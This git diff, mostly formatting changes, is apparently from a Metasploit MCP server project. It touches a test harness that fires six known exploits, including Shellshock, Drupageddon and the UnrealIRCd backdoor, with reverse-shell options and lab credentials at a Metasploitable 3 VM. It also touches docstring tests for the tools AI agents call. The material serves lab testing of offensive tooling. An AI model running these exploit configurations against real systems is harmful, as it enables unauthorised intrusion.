return await self.call_tool("terminate_session", { - "session_id": session_id - }) + return await self.call_tool("terminate_session", {"session_id": session_id}) class Metasploitable3TestHarness: """Test harness for Metasploitable 3 exploits.""" - + def __init__( self, target_ip: str, @@ -251,10 +245,10 @@ def __init__( lport: int = 4444, mcp_url: str = "http://127.0.0.1:8085", use_gateway: bool = False, - run_as_job_override: Optional[bool] = None + run_as_job_override: Optional[bool] = None, ): """Initialize test harness. - + Args: target_ip: Target Metasploitable 3 IP address lhost: Local IP for reverse connections @@ -269,7 +263,7 @@ def __init__( self.mcp_client = MetasploitMCPClient(mcp_url, use_gateway=use_gateway) self.results: List[TestResult] = [] self.run_as_job_override = run_as_job_override - + server_type = "ExploitMCP Gateway" if use_gateway else "MetasploitMCP Server" logger.info(f"Initialized test harness:") logger.info(f" Target: {target_ip}") @@ -279,14 +273,14 @@ def __init__( logger.info(f" Server URL: {mcp_url}") if run_as_job_override is not None: logger.info(f" Run as Job Override: {run_as_job_override}") - + async def cleanup_all_sessions(self, kill_handler_jobs: bool = True) -> int: """Kill all active Metasploit sessions to free up ports. Optionally also kills all handler jobs. - + Args: kill_handler_jobs: If True, also kill all handler jobs after terminating sessions (default: True) - + Returns: Number of sessions terminated """ @@ -295,10 +289,10 @@ async def cleanup_all_sessions(self, kill_handler_jobs: bool = True) -> int: # Get list of active sessions sessions_result = await self.mcp_client.list_sessions() logger.debug(f"Session list result: {sessions_result}") - + # Handle different response structures sessions = None - + # Try to parse from MCP tool result if isinstance(sessions_result, dict): # Check if it's the direct data structure @@ -319,20 +313,22 @@ async def cleanup_all_sessions(self, kill_handler_jobs: bool = True) -> int: sessions = data.get("sessions", {}) # Check for status-based response elif sessions_result.get("status") != "success": - logger.warning(f"Failed to list sessions: {sessions_result.get('message', 'Unknown error')}") + logger.warning( + f"Failed to list sessions: {sessions_result.get('message', 'Unknown error')}" + ) logger.debug(f"Full response: {sessions_result}") return 0 - + if sessions is None: logger.warning(f"Could not find sessions in response structure: {sessions_result}") return 0 - + if not sessions: logger.info("No active sessions to clean up") return 0 - + logger.info(f"Found {len(sessions)} active session(s) to terminate") - + # Terminate each session terminated_count = 0 for session_id in sessions.keys(): @@ -340,11 +336,11 @@ async def cleanup_all_sessions(self, kill_handler_jobs: bool = True) -> int: logger.info(f"Terminating session {session_id}...") result = await self.mcp_client.terminate_session(int(session_id)) logger.debug(f"Terminate result for session {session_id}: {result}") - + # Parse the result - it might be wrapped in 'data' or 'content' success = False error_msg = "Unknown error" - + if isinstance(result, dict): # Check direct status if result.get("status") == "success": @@ -359,7 +355,9 @@ async def cleanup_all_sessions(self, kill_handler_jobs: bool = True) -> int: error_msg = parsed_data.get("message", error_msg) except json.JSONDecodeError: # If it's just text, check if it indicates success - success = "success" in data.lower() or "terminated" in data.lower() + success = ( + "success" in data.lower() or "terminated" in data.lower() + ) error_msg = data elif isinstance(data, dict): success = data.get("status") == "success" @@ -369,14 +367,19 @@ async def cleanup_all_sessions(self, kill_handler_jobs: bool = True) -> int: content = result.get("content") if isinstance(content, list) and len(content) > 0: first_content = content[0] - if isinstance(first_content, dict) and first_content.get("type") == "text": + if ( + isinstance(first_content, dict) + and first_content.get("type") == "text" + ): text = first_content.get("text", "") - success = "success" in text.lower() or "terminated" in text.lower() + success = ( + "success" in text.lower() or "terminated" in text.lower() + ) error_msg = text - + if not success: error_msg = result.get("message", error_msg) or str(result) - + if success: logger.info(f"✓ Session {session_id} terminated successfully") terminated_count += 1 @@ -384,37 +387,37 @@ async def cleanup_all_sessions(self, kill_handler_jobs: bool = True) -> int: logger.warning(f"⚠ Failed to terminate session {session_id}: {error_msg}") except Exception as e: logger.error(f"✗ Error terminating session {session_id}: {e}") - + logger.info(f"Session cleanup complete: {terminated_count}/{len(sessions)} terminated") - + # Kill all handler jobs if requested if kill_handler_jobs: try: logger.info("Killing all handler jobs to release ports...") handlers_result = await self.mcp_client.call_tool("kill_all_handler_jobs", {}) logger.debug(f"Handler kill result: {handlers_result}") - + if isinstance(handlers_result, dict): handlers_killed = handlers_result.get("handlers_killed", 0) if handlers_killed > 0: logger.info(f"✓ Killed {handlers_killed} handler job(s)") else: logger.info("No handler jobs found to kill") - + except Exception as handler_e: logger.warning(f"Error killing handler jobs: {handler_e}") - + # Give Metasploit time to release ports if terminated_count > 0 or kill_handler_jobs: logger.info("Waiting 2 seconds for ports to be released...") await asyncio.sleep(2) - + return terminated_count - + except Exception as e: logger.error(f"Error during session cleanup: {e}") return 0 - + def get_exploit_tests(self) -> List[ExploitTest]: """Define exploit tests based on Metasploitable 3 walkthrough.""" return [ @@ -432,11 +435,11 @@ def get_exploit_tests(self) -> List[ExploitTest]: "TARGETURI": "/", "TMPPATH": "/tmp", "LHOST": self.lhost, - "LPORT": str(self.lport) + "LPORT": str(self.lport), }, expected_user="www-data", notes="FTP service exploit via mod_copy vulnerability", - run_as_job=False # Console mode (default) - change to True to test job mode + run_as_job=False, # Console mode (default) - change to True to test job mode ), ExploitTest( name="Apache Shellshock", @@ -448,10 +451,10 @@ def get_exploit_tests(self) -> List[ExploitTest]: "RPORT": "80", "TARGETURI": "/cgi-bin/hello_world.sh", "LHOST": self.lhost, - "LPORT": str(self.lport) + "LPORT": str(self.lport), }, expected_user="www-data", - notes="Shellshock vulnerability in CGI scripts" + notes="Shellshock vulnerability in CGI scripts", ), ExploitTest( name="Drupal Drupageddon", @@ -463,10 +466,10 @@ def get_exploit_tests(self) -> List[ExploitTest]: "RPORT": "80", "TARGETURI": "/drupal/", "LHOST": self.lhost, - "LPORT": str(self.lport) + "LPORT": str(self.lport), }, expected_user="www-data", - notes="Drupal SQL injection leading to RCE" + notes="Drupal SQL injection leading to RCE", ), ExploitTest( name="phpMyAdmin preg_replace", @@ -480,10 +483,10 @@ def get_exploit_tests(self) -> List[ExploitTest]: "USERNAME": "root", "PASSWORD": "sploitme", "LHOST": self.lhost, - "LPORT": str(self.lport) + "LPORT": str(self.lport), }, expected_user="www-data", - notes="Requires authentication (root:sploitme)" + notes="Requires authentication (root:sploitme)", ), ExploitTest( name="Ruby on Rails ActionPack", @@ -496,10 +499,10 @@ def get_exploit_tests(self) -> List[ExploitTest]: "TARGETURI": "/readme", "TARGETPARAM": "os", "LHOST": self.lhost, - "LPORT": str(self.lport) + "LPORT": str(self.lport), }, expected_user="chewbacca", - notes="Rails vulnerability on port 3500" + notes="Rails vulnerability on port 3500", ), ExploitTest( name="UnrealIRCd Backdoor", @@ -510,19 +513,19 @@ def get_exploit_tests(self) -> List[ExploitTest]: "RHOSTS": self.target_ip, "RPORT": "6697", "LHOST": self.lhost, - "LPORT": str(self.lport) + "LPORT": str(self.lport), }, expected_user="boba_fett", - notes="IRC service backdoor" + notes="IRC service backdoor", ), ] - + async def run_single_test(self, test: ExploitTest) -> TestResult: """Run a single exploit test. - + Args: test: Exploit test to run - + Returns: Test result """ @@ -534,17 +537,21 @@ async def run_single_test(self, test: ExploitTest) -> TestResult: if test.notes: logger.info(f"Notes: {test.notes}") logger.info(f"{'='*80}") - + start_time = datetime.now() - + try: # Determine run_as_job setting (CLI override takes precedence) - run_as_job = self.run_as_job_override if self.run_as_job_override is not None else test.run_as_job - + run_as_job = ( + self.run_as_job_override + if self.run_as_job_override is not None + else test.run_as_job + ) + # Separate payload options (LHOST/LPORT) from module options - module_options = {k: v for k, v in test.options.items() if k not in ['LHOST', 'LPORT']} - payload_options = {k: v for k, v in test.options.items() if k in ['LHOST', 'LPORT']} - + module_options = {k: v for k, v in test.options.items() if k not in ["LHOST", "LPORT"]} + payload_options = {k: v for k, v in test.options.items() if k in ["LHOST", "LPORT"]} + # Run the exploit logger.info(f"Executing exploit (run_as_job={run_as_job})...") logger.debug(f"Module options: {module_options}") @@ -554,30 +561,30 @@ async def run_single_test(self, test: ExploitTest) -> TestResult: options=module_options, payload_name=test.payload, payload_options=payload_options, - run_as_job=run_as_job + run_as_job=run_as_job, ) - + logger.info(f"Exploit execution result: {result}") - + # Check for session await asyncio.sleep(3) # Give it time to establish session sessions_result = await self.mcp_client.list_sessions() logger.info(f"Active sessions: {sessions_result}") - + # Parse session info session_id = None session_info = None - + # Try to extract session ID from result result_data = result.get("data", "") - + # Try to parse as JSON first (MetasploitMCP returns structured JSON) try: if isinstance(result_data, str): result_json = json.loads(result_data) else: result_json = result_data - + # Check for sessions in the structured response if isinstance(result_json, dict): if "sessions" in result_json and result_json["sessions"]: @@ -589,18 +596,22 @@ async def run_single_test(self, test: ExploitTest) -> TestResult: elif "session_id" in result_json: session_id = int(result_json["session_id"]) logger.info(f"Detected session ID from JSON: {session_id}") - elif "session_id_detected" in result_json and result_json["session_id_detected"]: + elif ( + "session_id_detected" in result_json and result_json["session_id_detected"] + ): session_id = int(result_json["session_id_detected"]) - logger.info(f"Detected session ID from session_id_detected field: {session_id}") + logger.info( + f"Detected session ID from session_id_detected field: {session_id}" + ) except (json.JSONDecodeError, ValueError, KeyError) as e: logger.debug(f"Could not parse result as JSON: {e}") # Fall back to regex parsing for text output if isinstance(result_data, str) and "session" in result_data.lower(): - session_match = re.search(r'session[s]?\s+(\d+)', result_data, re.IGNORECASE) + session_match = re.search(r"session[s]?\s+(\d+)", result_data, re.IGNORECASE) if session_match: session_id = int(session_match.group(1)) logger.info(f"Detected session ID from regex: {session_id}") - + # If no session was detected, check active sessions for matching exploit/payload if not session_id: logger.info("No session detected in exploit output, checking active sessions...") @@ -621,7 +632,7 @@ async def run_single_test(self, test: ExploitTest) -> TestResult: pass elif isinstance(data, dict) and "sessions" in data: sessions = data.get("sessions", {}) - + if sessions: # Look for a session matching this test's exploit/payload for sid, sinfo in sessions.items(): @@ -630,129 +641,132 @@ async def run_single_test(self, test: ExploitTest) -> TestResult: via_payload = sinfo.get("via_payload", "").lower() test_module_lower = test.module.lower().replace("exploit/", "") test_payload_lower = test.payload.lower().replace("payload/", "") - + # Match if the session was created by this test's exploit and payload - if test_module_lower in via_exploit and test_payload_lower in via_payload: + if ( + test_module_lower in via_exploit + and test_payload_lower in via_payload + ): session_id = int(sid) - logger.info(f"✓ Found matching active session {session_id} created by {via_exploit} with {via_payload}") + logger.info( + f"✓ Found matching active session {session_id} created by {via_exploit} with {via_payload}" + ) break except Exception as e: logger.warning(f"Error checking active sessions: {e}") - + # Verify session if session_id: try: # Try to get user info cmd_result = await self.mcp_client.send_session_command( - session_id=session_id, - command="id" + session_id=session_id, command="id" ) logger.info(f"Session command result: {cmd_result}") - + session_info = { "session_id": session_id, - "user_info": cmd_result.get("data", "") + "user_info": cmd_result.get("data", ""), } - + duration = (datetime.now() - start_time).total_seconds() logger.info(f"✓ Test PASSED - Session established (ID: {session_id})") - + return TestResult( test_name=test.name, success=True, session_id=session_id, session_info=session_info, - duration_seconds=duration + duration_seconds=duration, ) except Exception as e: logger.warning(f"Session exists but couldn't verify: {e}") - + # No session but exploit ran duration = (datetime.now() - start_time).total_seconds() logger.warning(f"⚠ Test PARTIAL - Exploit ran but no session detected") - + return TestResult( test_name=test.name, success=False, error="No session established", - duration_seconds=duration + duration_seconds=duration, ) - + except Exception as e: duration = (datetime.now() - start_time).total_seconds() logger.error(f"✗ Test FAILED - {str(e)}") - + return TestResult( - test_name=test.name, - success=False, - error=str(e), - duration_seconds=duration + test_name=test.name, success=False, error=str(e), duration_seconds=duration ) - - async def run_all_tests(self, continue_on_failure: bool = True, skip_cleanup: bool = False) -> List[TestResult]: + + async def run_all_tests( + self, continue_on_failure: bool = True, skip_cleanup: bool = False + ) -> List[TestResult]: """Run all exploit tests. - + Args: continue_on_failure: Continue testing even if a test fails skip_cleanup: Skip cleanup of existing sessions before running tests - + Returns: List of test results """ # Clean up any existing sessions first to free ports (unless disabled) if not skip_cleanup: await self.cleanup_all_sessions() - + tests = self.get_exploit_tests() logger.info(f"\n{'#'*80}") logger.info(f"Starting Metasploitable 3 Test Suite") logger.info(f"Total tests: {len(tests)}") logger.info(f"{'#'*80}\n") - + self.results = [] - + for i, test in enumerate(tests, 1): logger.info(f"\nRunning test {i}/{len(tests)}: {test.name}") - + result = await self.run_single_test(test) self.results.append(result) - + if not result.success and not continue_on_failure: logger.error("Test failed and continue_on_failure=False, stopping.") break - + # Small delay between tests if i < len(tests): logger.info("Waiting 5 seconds before next test...") await asyncio.sleep(5) - + return self.results - + def print_summary(self): """Print test summary.""" logger.info(f"\n{'#'*80}") logger.info("TEST SUMMARY") logger.info(f"{'#'*80}\n") - + passed = sum(1 for r in self.results if r.success) failed = len(self.results) - passed total_duration = sum(r.duration_seconds for r in self.results) - + logger.info(f"Total Tests: {len(self.results)}") logger.info(f"Passed: {passed} ✓") logger.info(f"Failed: {failed} ✗") logger.info(f"Success Rate: {(passed/len(self.results)*100):.1f}%") logger.info(f"Total Duration: {total_duration:.2f}s") logger.info("") - + # Detailed results logger.info("Detailed Results:") logger.info("-" * 80) - + for result in self.results: status = "✓ PASS" if result.success else "✗ FAIL" logger.info(f"{status} | {result.test_name} ({result.duration_seconds:.2f}s)") - + if result.success and result.session_id: logger.info(f" Session ID: {result.session_id}") if result.session_info: @@ -761,9 +775,9 @@ def print_summary(self): logger.info(f" User Info: {user_info[:100]}") elif result.error: logger.info(f" Error: {result.error}") - + logger.info(f"\n{'#'*80}\n") - + async def cleanup(self): """Clean up resources.""" await self.mcp_client.close() @@ -793,70 +807,46 @@ async def main(): # Connect to ExploitMCP gateway in job mode python metasploitable3_test_harness.py --target 10.0.2.15 --lhost 10.0.2.4 --gateway --run-as-job - """ - ) - - parser.add_argument( - "--target", - required=True, - help="Target Metasploitable 3 IP address" - ) - parser.add_argument( - "--lhost", - required=True, - help="Local IP address for reverse connections" + """, ) + + parser.add_argument("--target", required=True, help="Target Metasploitable 3 IP address") + parser.add_argument("--lhost", required=True, help="Local IP address for reverse connections") parser.add_argument( - "--lport", - type=int, - default=4444, - help="Local port for reverse connections (default: 4444)" + "--lport", type=int, default=4444, help="Local port for reverse connections (default: 4444)" ) parser.add_argument( "--mcp-url", default="http://127.0.0.1:8085", - help="MetasploitMCP server or ExploitMCP gateway URL (default: http://127.0.0.1:8085)" + help="MetasploitMCP server or ExploitMCP gateway URL (default: http://127.0.0.1:8085)", ) parser.add_argument( "--gateway", action="store_true", - help="Connect to ExploitMCP gateway (prefixes tool names with metasploit_, default: direct connection)" - ) - parser.add_argument( - "--test", - help="Run only a specific test by name" - ) - parser.add_argument( - "--list-tests", - action="store_true", - help="List available tests and exit" + help="Connect to ExploitMCP gateway (prefixes tool names with metasploit_, default: direct connection)", ) + parser.add_argument("--test", help="Run only a specific test by name") + parser.add_argument("--list-tests", action="store_true", help="List available tests and exit") parser.add_argument( - "--stop-on-failure", - action="store_true", - help="Stop testing after first failure" - ) - parser.add_argument( - "--verbose", - action="store_true", - help="Enable verbose debug logging" + "--stop-on-failure", action="store_true", help="Stop testing after first failure" ) + parser.add_argument("--verbose", action="store_true", help="Enable verbose debug logging") parser.add_argument( "--no-cleanup", action="store_true", - help="Skip cleanup of existing sessions before running tests (default: cleanup enabled)" + help="Skip cleanup of existing sessions before running tests (default: cleanup enabled)", ) parser.add_argument( "--run-as-job", action="store_true", - help="Run exploits as background jobs instead of console mode (tests both execution paths)" + help="Run exploits as background jobs instead of console mode (tests both execution paths)", ) - + args = parser.parse_args() - + if args.verbose: logging.getLogger().setLevel(logging.DEBUG) - + # Create harness harness = Metasploitable3TestHarness( target_ip=args.target, @@ -864,9 +854,9 @@ async def main(): lport=args.lport, mcp_url=args.mcp_url, use_gateway=args.gateway, - run_as_job_override=True if args.run_as_job else None + run_as_job_override=True if args.run_as_job else None, ) - + # List tests if requested if args.list_tests: tests = harness.get_exploit_tests() @@ -881,42 +871,41 @@ async def main(): print(f" Notes: {test.notes}") print() return 0 - + try: # Run tests if args.test: # Clean up any existing sessions first to free ports (unless disabled) if not args.no_cleanup: await harness.cleanup_all_sessions() - + # Run specific test tests = harness.get_exploit_tests() matching_tests = [t for t in tests if args.test.lower() in t.name.lower()] - + if not matching_tests: logger.error(f"No test found matching: {args.test}") logger.info("Available tests:") for test in tests: logger.info(f" - {test.name}") return 1 - + logger.info(f"Running test: {matching_tests[0].name}") result = await harness.run_single_test(matching_tests[0]) harness.results.append(result) else: # Run all tests await harness.run_all_tests( - continue_on_failure=not args.stop_on_failure, - skip_cleanup=args.no_cleanup + continue_on_failure=not args.stop_on_failure, skip_cleanup=args.no_cleanup ) - + # Print summary harness.print_summary() - + # Return exit code based on results failed_count = sum(1 for r in harness.results if not r.success) return 1 if failed_count > 0 else 0 - + except KeyboardInterrupt: logger.info("\n\nInterrupted by user") return 130 @@ -929,4 +918,3 @@ async def main(): if __name__ == "__main__": sys.exit(asyncio.run(main())) - diff --git a/tests/test_docstrings.py b/tests/test_docstrings.py index 7e4640f..1bdc3e4 100644 --- a/tests/test_docstrings.py +++ b/tests/test_docstrings.py @@ -18,164 +18,177 @@ def get_function_description(func): """Helper to get description from FunctionTool or regular function.""" - if hasattr(func, 'description'): + if hasattr(func, "description"): return func.description return func.__doc__ class TestDocstringContent: """Test that docstrings contain critical guidance for AI models.""" - + def test_run_exploit_docstring_exists(self): """Verify run_exploit has a docstring.""" docstring = get_function_description(MetasploitMCP.run_exploit) assert docstring is not None assert len(docstring) > 100 - + def test_run_exploit_warns_about_automatic_listener(self): """Verify run_exploit docstring warns that it creates listeners automatically.""" docstring = get_function_description(MetasploitMCP.run_exploit) - + # Check for key warning phrases - assert "AUTOMATICALLY" in docstring.upper(), \ - "Docstring should emphasize automatic listener creation" - assert "listener" in docstring.lower() or "handler" in docstring.lower(), \ - "Docstring should mention listeners/handlers" - assert "DO NOT" in docstring.upper() or "DON'T" in docstring.upper(), \ - "Docstring should have strong warning language" - + assert ( + "AUTOMATICALLY" in docstring.upper() + ), "Docstring should emphasize automatic listener creation" + assert ( + "listener" in docstring.lower() or "handler" in docstring.lower() + ), "Docstring should mention listeners/handlers" + assert ( + "DO NOT" in docstring.upper() or "DON'T" in docstring.upper() + ), "Docstring should have strong warning language" + def test_run_exploit_has_usage_examples(self): """Verify run_exploit docstring includes correct/incorrect usage examples.""" docstring = get_function_description(MetasploitMCP.run_exploit) - + # Should have example sections - assert "EXAMPLE" in docstring.upper() or "Example" in docstring, \ - "Docstring should include usage examples" - assert "CORRECT" in docstring.upper() or "Correct" in docstring, \ - "Docstring should show correct usage" - assert "INCORRECT" in docstring.upper() or "Incorrect" in docstring or "DON'T" in docstring.upper(), \ - "Docstring should show incorrect usage or anti-patterns" - + assert ( + "EXAMPLE" in docstring.upper() or "Example" in docstring + ), "Docstring should include usage examples" + assert ( + "CORRECT" in docstring.upper() or "Correct" in docstring + ), "Docstring should show correct usage" + assert ( + "INCORRECT" in docstring.upper() + or "Incorrect" in docstring + or "DON'T" in docstring.upper() + ), "Docstring should show incorrect usage or anti-patterns" + def test_run_exploit_explains_when_to_use_start_listener(self): """Verify run_exploit explains when start_listener is appropriate.""" docstring = get_function_description(MetasploitMCP.run_exploit) - + # Should explain the relationship - assert "start_listener" in docstring.lower(), \ - "Docstring should mention start_listener function" - assert "when" in docstring.lower(), \ - "Docstring should explain when to use each function" - + assert ( + "start_listener" in docstring.lower() + ), "Docstring should mention start_listener function" + assert "when" in docstring.lower(), "Docstring should explain when to use each function" + def test_start_listener_docstring_exists(self): """Verify start_listener has a docstring.""" docstring = get_function_description(MetasploitMCP.start_listener) assert docstring is not None assert len(docstring) > 100 - + def test_start_listener_warns_about_run_exploit_conflict(self): """Verify start_listener docstring warns about conflicts with run_exploit.""" docstring = get_function_description(MetasploitMCP.start_listener) - + # Check for key warning phrases - assert "run_exploit" in docstring.lower(), \ - "Docstring should mention run_exploit" - assert "DO NOT" in docstring.upper() or "DON'T" in docstring.upper(), \ - "Docstring should have strong warning language" - assert "conflict" in docstring.lower() or "port" in docstring.lower(), \ - "Docstring should mention conflicts or port issues" - + assert "run_exploit" in docstring.lower(), "Docstring should mention run_exploit" + assert ( + "DO NOT" in docstring.upper() or "DON'T" in docstring.upper() + ), "Docstring should have strong warning language" + assert ( + "conflict" in docstring.lower() or "port" in docstring.lower() + ), "Docstring should mention conflicts or port issues" + def test_start_listener_lists_valid_use_cases(self): """Verify start_listener docstring lists when it should be used.""" docstring = get_function_description(MetasploitMCP.start_listener) - + # Should have clear use cases - assert "USE" in docstring.upper() and "ONLY" in docstring.upper(), \ - "Docstring should specify when to use this function" - assert "generate_payload" in docstring.lower(), \ - "Docstring should mention generate_payload as a valid use case" - + assert ( + "USE" in docstring.upper() and "ONLY" in docstring.upper() + ), "Docstring should specify when to use this function" + assert ( + "generate_payload" in docstring.lower() + ), "Docstring should mention generate_payload as a valid use case" + def test_start_listener_has_usage_examples(self): """Verify start_listener docstring includes correct/incorrect usage examples.""" docstring = get_function_description(MetasploitMCP.start_listener) - + # Should have example sections - assert "EXAMPLE" in docstring.upper() or "Example" in docstring, \ - "Docstring should include usage examples" - assert "CORRECT" in docstring.upper() or "Correct" in docstring, \ - "Docstring should show correct usage" - assert "INCORRECT" in docstring.upper() or "Incorrect" in docstring, \ - "Docstring should show incorrect usage" - + assert ( + "EXAMPLE" in docstring.upper() or "Example" in docstring + ), "Docstring should include usage examples" + assert ( + "CORRECT" in docstring.upper() or "Correct" in docstring + ), "Docstring should show correct usage" + assert ( + "INCORRECT" in docstring.upper() or "Incorrect" in docstring + ), "Docstring should show incorrect usage" + def test_generate_payload_docstring_exists(self): """Verify generate_payload has a docstring.""" docstring = get_function_description(MetasploitMCP.generate_payload) assert docstring is not None assert len(docstring) > 100 - + def test_generate_payload_mentions_listener_requirement(self): """Verify generate_payload docstring mentions need for listener.""" docstring = get_function_description(MetasploitMCP.generate_payload) - + # Should mention that you need to start a listener - assert "start_listener" in docstring.lower(), \ - "Docstring should mention start_listener" - assert "listener" in docstring.lower() or "handler" in docstring.lower(), \ - "Docstring should mention listeners/handlers" - assert "must" in docstring.lower() or "requirement" in docstring.lower(), \ - "Docstring should emphasize the requirement" - + assert "start_listener" in docstring.lower(), "Docstring should mention start_listener" + assert ( + "listener" in docstring.lower() or "handler" in docstring.lower() + ), "Docstring should mention listeners/handlers" + assert ( + "must" in docstring.lower() or "requirement" in docstring.lower() + ), "Docstring should emphasize the requirement" + def test_generate_payload_has_workflow_guidance(self): """Verify generate_payload docstring includes workflow steps.""" docstring = get_function_description(MetasploitMCP.generate_payload) - + # Should have workflow or steps - assert "WORKFLOW" in docstring.upper() or "EXAMPLE" in docstring.upper(), \ - "Docstring should include workflow or example" - assert "1" in docstring and "2" in docstring, \ - "Docstring should have numbered steps" - + assert ( + "WORKFLOW" in docstring.upper() or "EXAMPLE" in docstring.upper() + ), "Docstring should include workflow or example" + assert "1" in docstring and "2" in docstring, "Docstring should have numbered steps" + def test_list_listeners_docstring_exists(self): """Verify list_listeners has a docstring.""" docstring = get_function_description(MetasploitMCP.list_listeners) assert docstring is not None assert len(docstring) > 50 - + def test_list_listeners_explains_purpose(self): """Verify list_listeners docstring explains what it returns.""" docstring = get_function_description(MetasploitMCP.list_listeners) - + # Should explain what it returns - assert "handlers" in docstring.lower(), \ - "Docstring should mention handlers" - assert "jobs" in docstring.lower(), \ - "Docstring should mention jobs" + assert "handlers" in docstring.lower(), "Docstring should mention handlers" + assert "jobs" in docstring.lower(), "Docstring should mention jobs" class TestDocstringConsistency: """Test that docstrings are consistent with function signatures.""" - + def test_run_exploit_parameters_documented(self): """Verify all run_exploit parameters are documented.""" docstring = get_function_description(MetasploitMCP.run_exploit) - + # Check that key parameters are mentioned in docstring assert "module" in docstring, "module parameter should be documented" assert "payload" in docstring, "payload parameter should be documented" assert "payload_options" in docstring, "payload_options parameter should be documented" - + def test_start_listener_parameters_documented(self): """Verify all start_listener parameters are documented.""" docstring = get_function_description(MetasploitMCP.start_listener) - + # Check that key parameters are mentioned in docstring assert "payload" in docstring, "payload parameter should be documented" assert "lhost" in docstring, "lhost parameter should be documented" assert "lport" in docstring, "lport parameter should be documented" - + def test_generate_payload_parameters_documented(self): """Verify all generate_payload parameters are documented.""" docstring = get_function_description(MetasploitMCP.generate_payload) - + # Check that key parameters are mentioned in docstring assert "payload" in docstring, "payload parameter should be documented" assert "format" in docstring, "format parameter should be documented" @@ -184,39 +197,41 @@ def test_generate_payload_parameters_documented(self): class TestDocstringQuality: """Test overall docstring quality metrics.""" - + def test_critical_functions_have_substantial_docstrings(self): """Verify critical functions have substantial documentation.""" critical_functions = [ - ('run_exploit', MetasploitMCP.run_exploit), - ('start_listener', MetasploitMCP.start_listener), - ('generate_payload', MetasploitMCP.generate_payload), + ("run_exploit", MetasploitMCP.run_exploit), + ("start_listener", MetasploitMCP.start_listener), + ("generate_payload", MetasploitMCP.generate_payload), ] - + for func_name, func in critical_functions: docstring = get_function_description(func) assert docstring is not None, f"{func_name} must have a docstring" - assert len(docstring) > 300, \ - f"{func_name} docstring should be substantial (>300 chars), got {len(docstring)}" - + assert ( + len(docstring) > 300 + ), f"{func_name} docstring should be substantial (>300 chars), got {len(docstring)}" + def test_docstrings_have_proper_sections(self): """Verify docstrings have expected sections.""" critical_functions = [ - ('run_exploit', MetasploitMCP.run_exploit), - ('start_listener', MetasploitMCP.start_listener), - ('generate_payload', MetasploitMCP.generate_payload), + ("run_exploit", MetasploitMCP.run_exploit), + ("start_listener", MetasploitMCP.start_listener), + ("generate_payload", MetasploitMCP.generate_payload), ] - + for func_name, func in critical_functions: docstring = get_function_description(func) # Should have Args section - assert "Args:" in docstring or "Parameters:" in docstring, \ - f"{func_name} docstring should have Args/Parameters section" + assert ( + "Args:" in docstring or "Parameters:" in docstring + ), f"{func_name} docstring should have Args/Parameters section" # Should have Returns section - assert "Returns:" in docstring or "Return:" in docstring, \ - f"{func_name} docstring should have Returns section" + assert ( + "Returns:" in docstring or "Return:" in docstring + ), f"{func_name} docstring should have Returns section" if __name__ == "__main__": pytest.main([__file__, "-v"]) - diff --git a/tests/test_event_loop_monitor.py b/tests/test_event_loop_monitor.py index ea5c28a..f90be91 100644 --- a/tests/test_event_loop_monitor.py +++ b/tests/test_event_loop_monitor.py @@ -12,7 +12,7 @@ from unittest.mock import Mock, patch, MagicMock, AsyncMock # Add the parent directory to the path to import modules -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) # Import the event loop monitor module from metasploit_mcp.event_loop_monitor import ( @@ -33,58 +33,58 @@ class TestEnvironmentHelpers: """Test environment variable helper functions.""" - + def test_get_env_bool_true_values(self): """Test that true-like values return True.""" - with patch.dict(os.environ, {'TEST_VAR': 'true'}): - assert get_env_bool('TEST_VAR') is True - - with patch.dict(os.environ, {'TEST_VAR': '1'}): - assert get_env_bool('TEST_VAR') is True - - with patch.dict(os.environ, {'TEST_VAR': 'yes'}): - assert get_env_bool('TEST_VAR') is True - - with patch.dict(os.environ, {'TEST_VAR': 'on'}): - assert get_env_bool('TEST_VAR') is True - + with patch.dict(os.environ, {"TEST_VAR": "true"}): + assert get_env_bool("TEST_VAR") is True + + with patch.dict(os.environ, {"TEST_VAR": "1"}): + assert get_env_bool("TEST_VAR") is True + + with patch.dict(os.environ, {"TEST_VAR": "yes"}): + assert get_env_bool("TEST_VAR") is True + + with patch.dict(os.environ, {"TEST_VAR": "on"}): + assert get_env_bool("TEST_VAR") is True + def test_get_env_bool_false_values(self): """Test that false-like values return False.""" - with patch.dict(os.environ, {'TEST_VAR': 'false'}): - assert get_env_bool('TEST_VAR') is False - - with patch.dict(os.environ, {'TEST_VAR': '0'}): - assert get_env_bool('TEST_VAR') is False - - with patch.dict(os.environ, {'TEST_VAR': 'no'}): - assert get_env_bool('TEST_VAR') is False - + with patch.dict(os.environ, {"TEST_VAR": "false"}): + assert get_env_bool("TEST_VAR") is False + + with patch.dict(os.environ, {"TEST_VAR": "0"}): + assert get_env_bool("TEST_VAR") is False + + with patch.dict(os.environ, {"TEST_VAR": "no"}): + assert get_env_bool("TEST_VAR") is False + def test_get_env_bool_default(self): """Test default value when env var not set.""" - assert get_env_bool('NONEXISTENT_VAR', default=True) is True - assert get_env_bool('NONEXISTENT_VAR', default=False) is False - + assert get_env_bool("NONEXISTENT_VAR", default=True) is True + assert get_env_bool("NONEXISTENT_VAR", default=False) is False + def test_get_env_float_valid(self): """Test parsing valid float values.""" - with patch.dict(os.environ, {'TEST_VAR': '1.5'}): - assert get_env_float('TEST_VAR', 0.0) == 1.5 - - with patch.dict(os.environ, {'TEST_VAR': '10'}): - assert get_env_float('TEST_VAR', 0.0) == 10.0 - + with patch.dict(os.environ, {"TEST_VAR": "1.5"}): + assert get_env_float("TEST_VAR", 0.0) == 1.5 + + with patch.dict(os.environ, {"TEST_VAR": "10"}): + assert get_env_float("TEST_VAR", 0.0) == 10.0 + def test_get_env_float_invalid(self): """Test that invalid float values return default.""" - with patch.dict(os.environ, {'TEST_VAR': 'not-a-number'}): - assert get_env_float('TEST_VAR', 5.0) == 5.0 - + with patch.dict(os.environ, {"TEST_VAR": "not-a-number"}): + assert get_env_float("TEST_VAR", 5.0) == 5.0 + def test_get_env_float_default(self): """Test default value when env var not set.""" - assert get_env_float('NONEXISTENT_VAR', 3.14) == 3.14 + assert get_env_float("NONEXISTENT_VAR", 3.14) == 3.14 class TestEventLoopWatchdog: """Test the EventLoopWatchdog class.""" - + @pytest.fixture def event_loop(self): """Fixture providing a test event loop.""" @@ -92,129 +92,130 @@ def event_loop(self): yield loop if not loop.is_closed(): loop.close() - + def test_watchdog_initialization(self, event_loop): """Test watchdog initializes with correct defaults.""" watchdog = EventLoopWatchdog(event_loop, interval=1.0, threshold=0.5) - + assert watchdog.loop is event_loop assert watchdog.interval == 1.0 assert watchdog.threshold == 0.5 assert watchdog._thread is None assert watchdog._check_count == 0 assert 